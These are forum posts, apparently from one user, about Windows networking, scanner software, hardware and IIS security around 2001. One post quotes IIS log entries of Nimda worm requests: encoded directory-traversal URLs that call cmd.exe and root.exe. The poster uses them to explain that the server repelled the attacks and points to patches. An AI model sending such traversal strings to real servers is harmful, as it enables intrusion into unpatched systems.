clutch

Try the Precision Scan Pro 3.1 software. It works with the 2200c even if it does show more options being available than the scanner will handle. Look up software for a ScanJet 5470c, and you will get a link for it. It's WAY more stable than the LTX version, as I haven't been getting anymore crashes (just screwed up images ).

So, your new W2K server is now running AD (in compatiblity mode for NT more than likely), but you can't browse? What is your current name resolution method? How many other DCs do you have running? I would imagine that you have at least one DNS box running, but do you have WINS still up? That error is normally typical of a blocked or failed name resolution attempt (listed here) where the workstation can't figure out who to talk to for credential validation.

As opposed to what other version of Windows?

You might want to post the specifics of your hardware for us to see. Also, my friend has had 2 of these scanners and both of them have had the same problem, they generate scans like this: www.driventechnologies.com/images/2200c-scan-screen-cap.jpg I have been working with her second scanner, and it has the same issue on both her Win98SE PC and my secondary Win2K PC. I tried different USB hosting devices (add-in card vs onboard), cables, software (her Precision Scan LTX and my Precision Scan Pro 3.1 software from my HP 5470c at work), and all kinds of updates and drivers. I am calling HP today to see if there is something that can be done to reset the unit as it almost seems like the scanner bar is out of sync with the internal CCD/processing unit.

APK, you're not quite following my logic, but that's OK. In any case, I would can NetBEUI because there is no need for it. If people are THAT paranoid, they can use an outboard firewall. Now, speaking of firewalls, do you have any running on any of the machines Brian? This would include the native one in WinXP. Were you even able to ping from one machine to the other?

Faster for me, but that's more a function of IE6 than anything else as IE6 was pretty quick in Win2K. This carries over between my cable modem at home and my T1 at work.

Quote: P.S.=> Clutch... Personally? For security's sake?? I think NetBEUI is his better bet! He has a tiny LAN there it sounds like of 2 systems so his performance should be ok, & on a tiny LAN like that I heard NetBEUI is fastest protocol broadcast vs. collisions speed wise & NetBEUI is not routeable to the net, & thus safer... if you can get him up & running on that?? Do so by ALL means... do you agree? apk We actually covered this before, and I stated that NetBEUI was a much faster protocol, but I don't believe in using extra protocols for no real reason. If you are using a NAT/PAT scheme, NetBIOS calls are not forwarded out to the internet by default anyway as most of these systems close that port anyway. Hence, no security issue. Here's why I pointed out the difference between your his running NetBEUI for LAN usage and your troubleshooting TCP/IP; 1. If he got it working that way, he would leave NetBEUI installed but would more than likely NOT be using it as NetBIOS over TCP/IP would be his functional name resolution protocol, 2. He might feel like the issue is solved, and think that NetBEUI was in fact working when it wasn't, 3. He still might not be using NetBEUI anyway, as I think TCP/IP ranks higher in protocol selection than NetBEUI by default for each adapter, 4. He wants to work on systems as a profession, and he should learn the differences between them, and also learn that NetBEUI is dead. So, now you see why I was pointing out what you were showing. The information wasn't bad or incorrect, but while you may have the ability to troubleshoot this type of problem on your own, he currently does not. He just needed to see what was going on and probably wouldn't have known of the nuances between the protocols and what the resolution would have brought him.

Well, the "Other" board is actually useful for learning stuff afterall...

APK's suggestions are to enable NetBIOS name resolution over TCP/IP, which is fine but would also negate the need for NetBEUI being installed. Now, when you say "see", are you talking about the PCs being listed in Network Neighborhood? Can you use \\computername\sharename from one machine to other in both directions? Also, due to the pathetic performance of browse master sessions and simple name resolutions without the aid of an outside name handling system, computers can take over 50 minutes to show up in a browse list (Network Neighborhood) depending on the conditions.

Actually, that depends on where you go as well. I had friends pick up Win2K and Office 2K when they first came out in white label as well. That got squashed recently by MS, but we'll see how that plays out.

Quote: (Strangely enough, this was a GUI tuneable property in NT 4.0 if memory serves me right in NT 4.0's TcpIP properties... Now, in 2k/XP you have to hack the registry it looks like, no more GUI front end checkbox in its TcpIP properties I could find for it!) APK Not that strange, actually, as I was just setting up a 2K server to handle NAT/routing duties last week and found that setting you mention (enable RIP checkbox) from NT 4 to be missing. Now, what do you mean by the addresses changing? Are you talking about DHCP, or are you talking about the replacement of your LAN IP with the NAT (outside) IP?

Wasn't that the Radeon SE (Slow Edition )? I have picked up DVD/CD-ROMs, an MS Natural Keyboard, a GeForce, and other stuff in white boxes. The only difference in these cases was usually less software (stuff that I had full versions of anyway) and simpler packaging. Oh, and it was a lot cheaper too...

I buy white box (oem-and I don't have to buy a system/motherboard either) stuff all the time at computer shops in my town. Plus, you can find them online easy enough. So, while it might be rare for you to find them in your town, that is not an accurate statement for the rest of the world.

There are kind of old, but I just read them for the first time last night and I thought I would pass them on to you guys. As I don't get infected by these things, it's nice to see that MS is helping out my situation quite a bit... http://www.bbspot.com/News/2001/07/worm.html Oh, and in Linux news, here's something that MS may or may not be a part of: http://www.bbspot.com/News/2000/5/MS_Linux_delay.html

Are you sure the harddrive isn't dying? Have you had any other odd issues (crashes, files not found, corrupted files, etc) popping up?

NT based OSs tend to be slower on peer-to-peer and mixed (9x and NT) networks without the aid of WINS/DDNS or a LMHOST system. They look for and validate more functions that the other systems might have. I have only noticed this once, when I first used a single NT 4 workstation on a 95/Novell 3.x network, and the NT box would never pull up any other machine properly in Network Neighborhood. However, since I have used WINS and WINS/DNS combos, this situation has never come up again with NT/2K/XP networks. If you have a server on the network, it should be acting as the master browser and the workstations should report to it for listings and registration. If you have a strictly peer-to-peer network with many of the same machine, then they *could* be fighting over master browser rights and forcing elections over and over again. What is the structure of your network, insaNity?

That sounds like a normal Computer Science degree, but we were talking about a Management of Information Systems (MIS) degree. Most schools get so hung up on the "Management" portion that the graduates are almost helpless in "the real world". As for graduating and getting out in the world, making large amounts of money for doing something you like has its perks too, just remember that.

So that "Gay-tor" $hit was from your host? That is weak. Also, what editor are you using for your site? I didn't take a look at the source code yet.

Quote: People buy soundcards from a company wirth such a bad technical support (liveware 4 anyone?). Besides, Audidy is not even a TRUE 24 bit/96 khz soundcard. Add terratec ewx to your list. I haven't had any issues with any of their cards since my SB16. They work, and have always worked well. I have had cards from several other vendors, and I have various driver issues from time to time. With this line, I just don't have these problems.

Unfortunately, I wouldn't count in it. Most MIS grads that I have worked with have learned very little about systems architecture and application in their MIS courses, let alone anything about security. A good deal of the MIS courses I read through seem more focused on floor/personnel management rather than working directly on the information systems themselves. You might want to take some technical courses in security and network architecture as an elective if possible. Where are you going to school at?

To flush the normal Code Red worm, you could simply reboot and then apply the patch (with the server offline so it wouldn't get infected again). That would take care of the issue. Some Nimda and Code Red II boxes had nice backdoors left open for intrusions later on. On the MS security site, there is a tool for ridding the system of the worm that stays behind, but there could have been other damage. On your logs, I see many "404" errors, and the lone "500" error (could be for security, invalid execution, etc.) which is a good sign. It shows that your server wasn't able to execute the requests. Now, here is a normal attack cycle from a Nimda box: 24.60.219.128 - 11/13/2001 11:44:44 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%252f../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:42 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:40 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:29 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:27 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:25 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:23 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:20 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:18 AM W3SVC3 SERVER-1 192.168.1.200 404 - /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:16 AM W3SVC3 SERVER-1 192.168.1.200 404 - /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:14 AM W3SVC3 SERVER-1 192.168.1.200 404 - /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:12 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/..%255c../winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:10 AM W3SVC3 SERVER-1 192.168.1.200 404 - /d/winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:08 AM W3SVC3 SERVER-1 192.168.1.200 404 - /c/winnt/system32/cmd.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:06 AM W3SVC3 SERVER-1 192.168.1.200 404 - /MSADC/root.exe?/c+dir - Info 24.60.219.128 - 11/13/2001 11:44:03 AM W3SVC3 SERVER-1 192.168.1.200 404 - /scripts/root.exe?/c+dir - Look familiar? Here's the break down on yours: 206.166.234.62 was an automated Nimda attack; 216.179.62.9 was a solo direct attack (but a 404 error-"page not found", so no biggie) 211.44.231.41 old Code Red attack (uses "N" for the flood, an "X" is Code Red II) So, you will probably see a lot of these, and you will see them for some time to come. Just patch up, and move on.

Don't worry about it. That's a Nimda infected box attacking, and that's its signature. Are you patched up for it? Here's some links about ways to secure IIS, and a link to getting URLScan from MS. It will generate 404 errors when someone makes a request that breaks the predetermined rule set. Here is a general checklist: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechnol/iis/tips/iis5chk.asp Here is a link for resources on securing IIS: http://support.microsoft.com/support/kb/articles/q282/0/60.asp And here is a link for the new Security Tool Kit from MS: http://support.microsoft.com/support/kb/articles/Q309/5/36.ASP This is a link for URLScan (my fav) that is briefly mentioned in a couple of the other links: http://support.microsoft.com/support/kb/articles/q307/6/08.asp You will also see references to the IISLockdown Tool, which is pretty strict and works by locking various ISAPI filters and fixing permissions on system directories in case someone can traverse directories (which won't happen anyway if you are using URLScan and it's configured properly). The High Security Template is nice too, and protected many IIS boxes from infection. You can also subscribe to the security release email list at this link to get all the latest info on patches and such: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/notify.asp I have been getting these for quite a while. Here's a page I wrote that queries my logs (I have IIS setup to log to a SQL DB) www.driventechnologies.com/odbclog and type "cmd.exe" without the quotes into the target box. The date range defaults to the current day, but the logs go back to August 1, 2001.

My Audigy Platinum has been awesome.

...paint rocks?

It still sounds like your laptop is not part of the workgroup that your servers are in. Why aren't you using a domain anyway? It makes administration much, much easier. Have you tried using WWW, Telnet, or FTP?